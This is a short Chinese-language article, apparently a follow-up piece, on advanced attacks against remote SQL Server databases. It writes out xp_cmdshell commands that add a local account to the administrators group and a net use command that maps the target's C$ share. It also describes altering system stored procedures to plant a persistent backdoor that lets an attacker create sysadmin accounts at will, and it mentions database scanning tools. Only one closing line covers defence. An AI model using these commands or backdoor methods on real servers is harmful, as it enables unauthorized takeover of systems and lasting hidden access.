本文承接前作,聚焦遠程資料庫攻擊的進階技巧:繞過前端長度限制、利用 xp_cmdshell 獲取系統控制權、映射網絡磁碟、修改系統存儲過程植入持久化後門,以及資料庫掃描工具應用。
-- 創建系統用戶並加入管理員組
EXEC master.dbo.xp_cmdshell 'net user /add aaa bbb';
EXEC master.dbo.xp_cmdshell 'net localgroup /add administrators aaa';
若目標開啟 NetBIOS over TCP/IP 且存在行政共享(C$、D$),可直接映射磁碟:
net use Z: \\目標IP\C$ "bbb" /user:"aaa"
利用 sp_addlogin、sp_addsrvrolemember 等系統存儲過程未加密特性,使用 Enterprise Manager 修改其判斷邏輯:
sysobjects 刪除原記錄,再從同版本乾淨實例複製回寫。植入後,無論應用使用何種低權限帳號,攻擊者均可隨時創建 sysadmin 帳號。
防禦側重點:嚴格最小權限、禁用/刪除高危擴展存儲過程、監控系統對象修改、部署資料庫防火牆(如 GreenSQL、DBShield)。